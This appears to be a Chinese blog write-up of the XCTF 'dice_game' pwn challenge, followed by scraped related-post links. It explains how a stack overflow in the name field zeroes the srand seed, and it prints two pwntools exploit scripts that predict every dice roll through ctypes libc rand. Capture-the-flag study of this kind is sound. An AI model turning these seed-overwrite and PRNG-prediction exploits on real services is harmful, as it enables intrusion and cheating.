dice_game攻防世界进阶区
dice_game
XCTF 4th-QCTF-2018
前言,不得不说,虽然是个简单题但是还是要记录一下,来让自己记住这些东西。
考察的知识点是:
1.cdll_loadlibrary加载对应库使得Python可以使用c的函数。
2.关于srand函数中种子的介绍。
3.一些平时没有见过的杂项
保证我写的很详细,因为我也是个菜鸡
----第一步查看保护喽

第一眼就很恐怖嗷,居然就只有canary没有开,其他的全开,got表也不能修改,我就很痛苦嗷
----第二步ida看看

main函数这里要说的呢
1.这里设置了种子,并且应该注意地址在rbp-10h
2.这里v6是read函数的返回值,返回数值呢
3.注意看什么时候设置截止符'\x00'

函数名字以及备注是我看错的地方,我以为这个函数是爆破点的,另外我就把这个函数里面其他的东西解释解释吧:
%hd是读入短整型整数,与long int 相对
_assert_fail,assert是宏,这是设置一个出现错误时候应该输出的,我一开始以为这个东西是值得爆破的地方呢。

负责输出的函数,那么我这里记录一下我的思路:
1.可以直接修改v8的数值到50,直接获得flag
2.每次把v2直接暴露出来赋值给v1
3.负责破坏跳转直接跳转到暴露的地方。
那么这里三种方法其实都是不行的,与答案有点相关的是第二个方法,这里我主要介绍一下srand函数seed,以及rand函数吧。
seed是种子,负责伪随机数列,srand是设置种子的函数,rand函数呢是取伪随机数列。依次对于数列里面的数值去取,详细的我就不说了。
那么这里我们只要获得seed我们就可以知道每一次应该输入的v1数值。
保证我们每次猜,每次对。
另外想要解释的是:ctypes这个py库
说实话这个库我看文档是完全没有看懂的,这里看了别人写的博客,我把博客地址黏贴到这里了(更好的博客园)
https://www.cnblogs.com/gaowengang/p/7919219.html
ctypes是负责在py里面使用c语言的函数,因为这里我们必然要在exp写rand以及srand,所以就要加载相应的库。
加载进去库之后,要使用相应的函数还要使用对应的函数,Linux下就是:
cdll.LoadLibrary()
-
from ctypes import *
libc=cdll.LoadLibrary("libc.so.6")
这里要使用就这个样子了.
所以我就先贴上exp了。
from pwn import *
from ctypes import *
p=process('./dice_game')
libc=cdll.LoadLibrary("libc.so.6")
payload= 'a'*0x40+p64(0)
p.recvuntil("Welcome, let me know your name: ")
p.sendline(payload)
a=[]
for i in range(50):
a.append(str(libc.rand()%6+1))
print a
for i in a:
p.recv()
p.sendline(i)
p.interactive()
这里exp写了两种
from pwn import *
from ctypes import *
p = process('./dice_game')
payload = 'a'*0x40 + p64(0)
libc = cdll.LoadLibrary('libc.so.6')
p.recvuntil("Welcome, let me know your name: ")
p.sendline(payload)
libc.srand(0)
for i in range(50):
a=str(libc.rand()%6+1)
p.recvuntil("Give me the point(1~6): ")
p.sendline(a)
p.interactive()
大家伙可以看看这里两种有什么区别。(好吧估计也没人看我写的博客,也就自己看看吧)
我先介绍一下这里exp吧
都是覆盖到seed那里,然后随便改一个数值修改seed,但是恰好是这里,让我博客打了一半有了新的发现。
这里你如果覆盖成seed为0,1的话,其实他这里生成的数组a是相同的元素,我记得srand默认参数是1,然而这里第一个exp的话是没有后面再次更改srand()的值,直接使用了默认,因为这个人覆盖的这里也是0,但是我其实是不推荐这种做法的。
对于第二个exp,这里还是使用了libc.srand(0)因此比第一种更好点。
------------------麦林pwn手
如果觉得CSDN越来越拉,并且在CSDN写博客是一件很拉的事情,麻烦点个赞再走。

dice_game攻防世界进阶区的更多相关文章
- 攻防世界进阶区MISC ——56-60
56.low 得到一张bmp,世纪之吻,扔进kali中,binwalk,zsteg,无果,再放进stegsolve中,虽然发现小的数据块,但是过滤通道得不到任何信息,猜测是要用脚本进行 # lsb隐写 ...
- 攻防世界Web区部分题解
攻防世界Web区部分题解 前言:PHP序列化就是把代码中所有的 对象 , 类 , 数组 , 变量 , 匿名函数等全部转换为一个字符串 , 提供给用户传输和存储 . 而反序列化就是把字符串重新转换为 ...
- pwn篇:攻防世界进阶welpwn,LibcSearcher使用
攻防世界welpwn (搬运一篇自己在CSDN写的帖子) 链接:https://blog.csdn.net/weixin_44644249/article/details/113781356 这题主要 ...
- 攻防世界新手区pwn writeup
CGfsb 题目地址:https://adworld.xctf.org.cn/task/answer?type=pwn&number=2&grade=0&id=5050 下载文 ...
- 攻防世界-进阶-[re1-100]
一.收集程序信息 64位的ELF文件,没有壳 二.放入IDA 使用64位IDA打开文件,先进行静态分析查看伪代码,进入main函数 通过这段可以得知输入的内容存储到了input中(这里我将bufwri ...
- 进阶区forgotg攻防世界
攻防世界进阶区--forgot 前言,这题中看不中用啊宝友!!! 1.查看保护 第一反应就是蛮简单的,32位. 2.获取信息(先运行程序看看) 装的可以,蛮多的东西. 但是就是中看不中用 3.ida ...
- 攻防世界Web刷题记录(进阶区)
攻防世界Web刷题记录(进阶区) 1.baby_web 发现去掉URLhttp://111.200.241.244:51461/1.php后面的1.php,还是会跳转到http://111.200.2 ...
- 攻防世界 WEB 高手进阶区 csaw-ctf-2016-quals mfw Writeup
攻防世界 WEB 高手进阶区 csaw-ctf-2016-quals mfw Writeup 题目介绍 题目考点 PHP代码审计 git源码泄露 Writeup 进入题目,点击一番,发现可能出现git ...
- 攻防世界 WEB 高手进阶区 TokyoWesterns CTF shrine Writeup
攻防世界 WEB 高手进阶区 TokyoWesterns CTF shrine Writeup 题目介绍 题目考点 模板注入 Writeup 进入题目 import flask import os a ...
随机推荐
- BFD协议简介
1. 背景 双向转发检测BFD(Bidirectional Forwarding Detection)是一种全网统一的检测机制,用于快速检测.监控网络中链路或者IP路由的转发连通状况. 为了保护关键应 ...
- 为老的vueCli项目添加vite支持
1.前言 接手公司的某个项目已经两年了,现在每次启动项目都接近1分钟,hmr也要好几秒的时间,but vite2发布之后就看到了曙光,但是一直没有动手进行升级,昨天终于忍不住了,升级之后几秒钟就完成了 ...
- 完蛋,公司被一条 update 语句干趴了!
大家好,我是小林. 昨晚在群划水的时候,看到有位读者说了这么一件事. 在这里插入图片描述 大概就是,在线上执行一条 update 语句修改数据库数据的时候,where 条件没有带上索引,导致业务直接崩 ...
- Identity用户管理入门七(扩展用户字段)
在实际使用时会发现很多字段在IdentityUser中并不存在,比如增加生日,地址等字段,可在模型类中实现自己的模型并继承自IdentityUser,需要修改的代码为以下类 一.新增模型 using ...
- bean的作用域和生命周期
一.Bean作用域 二.生命周期 其中,这个类实现各种接口重写各种方法,会按bean的声明周期按序执行: 其中,自定义的初始化和自定义销毁的方法不是实现接口重写,而是成员方法,并且在装配bean即在x ...
- 使用easyui为tab页增加右键菜单
在使用easyui进行上左右布局一文中,我们已经使用easyui搭建起了一个简单的上左右布局.在使用的过程中,我们经常会遇到tab页打开的太多,但只能一个一个的关闭的烦恼,这个时候有没有想到eclip ...
- IP 地址无效化
给你一个有效的 IPv4 地址 address,返回这个 IP 地址的无效化版本. 所谓无效化 IP 地址,其实就是用 "[.]" 代替了每个 ".". 示例 ...
- Docker Command and Dockerfile
镜像相关命令 # 下载镜像 docker pull xxx # 搜素镜像 docker search xxx # 查看已经下载了哪些镜像 docker images # 查看已下载镜像的id dock ...
- PHPCMS V9轻松完成WAP手机网站搭建全教程
---恢复内容开始--- 应用PHPCMS V9轻松完成WAP手机网站搭建全教程 用PHPCMS最新发布的V9搭建了PHPCMS研究中心网站(http://www.17huiyi.net)完成后,有用 ...
- seo执行步骤
第一个金字塔策略这个很适用于大型网站,我想做过大型网站,特别是关键词比较多比较杂乱的站长来说,这个图太熟悉不过了,就算是没有见过,但实际操作中早就用到了这些手法.如果能把这个图领会透并实际应用,做一个 ...